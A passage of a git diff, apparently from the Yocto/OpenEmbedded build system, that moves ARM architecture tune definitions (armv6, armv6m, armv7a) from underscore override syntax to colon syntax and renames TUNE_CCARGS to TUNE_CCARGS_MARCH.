+PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} armv6 armv6t"
+PACKAGE_EXTRA_ARCHS:tune-armv6 = "${PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp} armv6 armv6-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6t = "${PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hf = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp} armv6hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thf = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
# Big Endian
AVAILTUNES += "armv6b-novfp armv6tb-novfp armv6b armv6tb armv6hfb armv6thfb"
-ARMPKGARCH_tune-armv6b-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6tb-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6b ?= "armv6"
-ARMPKGARCH_tune-armv6tb ?= "armv6"
-ARMPKGARCH_tune-armv6hfb ?= "armv6"
-ARMPKGARCH_tune-armv6thfb ?= "armv6"
-TUNE_FEATURES_tune-armv6b-novfp = "${TUNE_FEATURES_tune-armv6-novfp} bigendian"
-TUNE_FEATURES_tune-armv6tb-novfp = "${TUNE_FEATURES_tune-armv6t-novfp} bigendian"
-TUNE_FEATURES_tune-armv6b = "${TUNE_FEATURES_tune-armv6} bigendian"
-TUNE_FEATURES_tune-armv6tb = "${TUNE_FEATURES_tune-armv6t} bigendian"
-TUNE_FEATURES_tune-armv6hfb = "${TUNE_FEATURES_tune-armv6hf} bigendian"
-TUNE_FEATURES_tune-armv6thfb = "${TUNE_FEATURES_tune-armv6thf} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb} armv6b"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} armv6b armv6tb"
-PACKAGE_EXTRA_ARCHS_tune-armv6b = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp} armv6b armv6b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp} armv6hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
+ARMPKGARCH:tune-armv6b-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6tb-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6b ?= "armv6"
+ARMPKGARCH:tune-armv6tb ?= "armv6"
+ARMPKGARCH:tune-armv6hfb ?= "armv6"
+ARMPKGARCH:tune-armv6thfb ?= "armv6"
+TUNE_FEATURES:tune-armv6b-novfp = "${TUNE_FEATURES:tune-armv6-novfp} bigendian"
+TUNE_FEATURES:tune-armv6tb-novfp = "${TUNE_FEATURES:tune-armv6t-novfp} bigendian"
+TUNE_FEATURES:tune-armv6b = "${TUNE_FEATURES:tune-armv6} bigendian"
+TUNE_FEATURES:tune-armv6tb = "${TUNE_FEATURES:tune-armv6t} bigendian"
+TUNE_FEATURES:tune-armv6hfb = "${TUNE_FEATURES:tune-armv6hf} bigendian"
+TUNE_FEATURES:tune-armv6thfb = "${TUNE_FEATURES:tune-armv6thf} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb} armv6b"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} armv6b armv6tb"
+PACKAGE_EXTRA_ARCHS:tune-armv6b = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp} armv6b armv6b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp} armv6hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6m.inc b/meta/conf/machine/include/arm/arch-armv6m.inc
index 739550d005..d6d6c7ed2d 100755..100644
--- a/meta/conf/machine/include/arm/arch-armv6m.inc
+++ b/meta/conf/machine/include/arm/arch-armv6m.inc
@@ -7,13 +7,13 @@ TUNECONFLICTS[armv6m] = "armv4 armv5 armv6 armv7a"
# Use armv6s-m instead of armv6-m to avoid gcc bug "SVC is not permitted on this architecture".
# SVC is a valid instruction.
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', ' -march=armv6s-m', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', ' -march=armv6s-m', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', 'armv6m:', '', d)}"
require conf/machine/include/arm/arch-armv5.inc
# Little Endian
AVAILTUNES += "armv6m"
-ARMPKGARCH_tune-armv6m = "armv6m"
-TUNE_FEATURES_tune-armv6m = "armv6m"
-PACKAGE_EXTRA_ARCHS_tune-armv6m = "armv6m"
+ARMPKGARCH:tune-armv6m = "armv6m"
+TUNE_FEATURES:tune-armv6m = "armv6m"
+PACKAGE_EXTRA_ARCHS:tune-armv6m = "armv6m"
diff --git a/meta/conf/machine/include/arm/arch-armv7a.inc b/meta/conf/machine/include/arm/arch-armv7a.inc
index ce87af5306..74fc8d11ab 100644
--- a/meta/conf/machine/include/arm/arch-armv7a.inc
+++ b/meta/conf/machine/include/arm/arch-armv7a.inc
@@ -3,164 +3,165 @@ ARM_INSTRUCTION_SET ?= "thumb"
TUNEVALID[armv7a] = "Enable instructions for ARMv7-a"
TUNECONFLICTS[armv7a] = "armv4 armv5 armv6 armv7"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', 'armv7a:', '', d)}"
require conf/machine/include/arm/arch-armv6.inc
require conf/machine/include/arm/feature-arm-neon.inc
+require conf/machine/include/arm/feature-arm-simd.inc
# Little Endian base configs
AVAILTUNES += "armv7a armv7at armv7a-vfpv3d16 armv7at-vfpv3d16 armv7a-vfpv3 armv7at-vfpv3 armv7a-vfpv4d16 armv7at-vfpv4d16 armv7a-neon armv7at-neon armv7a-neon-vfpv4 armv7at-neon-vfpv4"
-ARMPKGARCH_tune-armv7a ?= "armv7a"
-ARMPKGARCH_tune-armv7at ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7a = "arm armv7a vfp"
-TUNE_FEATURES_tune-armv7at = "${TUNE_FEATURES_tune-armv7a} thumb"
-TUNE_FEATURES_tune-armv7a-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a} vfpv3d16"
-TUNE_FEATURES_tune-armv7at-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at} vfpv3d16"
-TUNE_FEATURES_tune-armv7a-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7at-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7a-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a} vfpv4d16"
-TUNE_FEATURES_tune-armv7at-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at} vfpv4d16"
-TUNE_FEATURES_tune-armv7a-neon = "${TUNE_FEATURES_tune-armv7a} neon"
-TUNE_FEATURES_tune-armv7at-neon = "${TUNE_FEATURES_tune-armv7at} neon"
-TUNE_FEATURES_tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon} vfpv4"
-TUNE_FEATURES_tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon} vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7a = "${PACKAGE_EXTRA_ARCHS_tune-armv6} armv7a armv7a-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7at = "${PACKAGE_EXTRA_ARCHS_tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16} armv7a-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-neon armv7at2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} armv7a-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
+ARMPKGARCH:tune-armv7a ?= "armv7a"
+ARMPKGARCH:tune-armv7at ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7a = "arm armv7a vfp"
+TUNE_FEATURES:tune-armv7at = "${TUNE_FEATURES:tune-armv7a} thumb"
+TUNE_FEATURES:tune-armv7a-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a} vfpv3d16"
+TUNE_FEATURES:tune-armv7at-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at} vfpv3d16"
+TUNE_FEATURES:tune-armv7a-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7at-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7a-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a} vfpv4d16"
+TUNE_FEATURES:tune-armv7at-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at} vfpv4d16"
+TUNE_FEATURES:tune-armv7a-neon = "${TUNE_FEATURES:tune-armv7a} neon"
+TUNE_FEATURES:tune-armv7at-neon = "${TUNE_FEATURES:tune-armv7at} neon"
+TUNE_FEATURES:tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon} vfpv4"
+TUNE_FEATURES:tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7a = "${PACKAGE_EXTRA_ARCHS:tune-armv6} armv7a armv7a-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7at = "${PACKAGE_EXTRA_ARCHS:tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16} armv7a-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-neon armv7at2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} armv7a-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7ahf armv7athf armv7ahf-vfpv3d16 armv7athf-vfpv3d16 armv7ahf-vfpv3 armv7athf-vfpv3 armv7ahf-vfpv4d16 armv7athf-vfpv4d16 armv7ahf-neon armv7athf-neon armv7ahf-neon-vfpv4 armv7athf-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahf ?= "armv7a"
-ARMPKGARCH_tune-armv7athf ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahf = "${TUNE_FEATURES_tune-armv7a} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf = "${TUNE_FEATURES_tune-armv7at} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon = "${TUNE_FEATURES_tune-armv7a-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon = "${TUNE_FEATURES_tune-armv7at-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} armv7ahf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf = "${PACKAGE_EXTRA_ARCHS_tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahf ?= "armv7a"
+ARMPKGARCH:tune-armv7athf ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahf = "${TUNE_FEATURES:tune-armv7a} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf = "${TUNE_FEATURES:tune-armv7at} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon = "${TUNE_FEATURES:tune-armv7a-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon = "${TUNE_FEATURES:tune-armv7at-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} armv7ahf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf = "${PACKAGE_EXTRA_ARCHS:tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7ab armv7atb armv7ab-vfpv3d16 armv7atb-vfpv3d16 armv7ab-vfpv3 armv7atb-vfpv3 armv7ab-vfpv4d16 armv7atb-vfpv4d16 armv7ab-neon armv7atb-neon armv7ab-neon-vfpv4 armv7atb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ab ?= "armv7a"
-ARMPKGARCH_tune-armv7atb ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ab = "${TUNE_FEATURES_tune-armv7a} bigendian"
-TUNE_FEATURES_tune-armv7atb = "${TUNE_FEATURES_tune-armv7at} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon = "${TUNE_FEATURES_tune-armv7a-neon} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon = "${TUNE_FEATURES_tune-armv7at-neon} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab = "${PACKAGE_EXTRA_ARCHS_tune-armv6b} armv7ab-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-neon armv7at2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon} armv7ab-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7ab ?= "armv7a"
+ARMPKGARCH:tune-armv7atb ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3d16 ?= "armv7a"
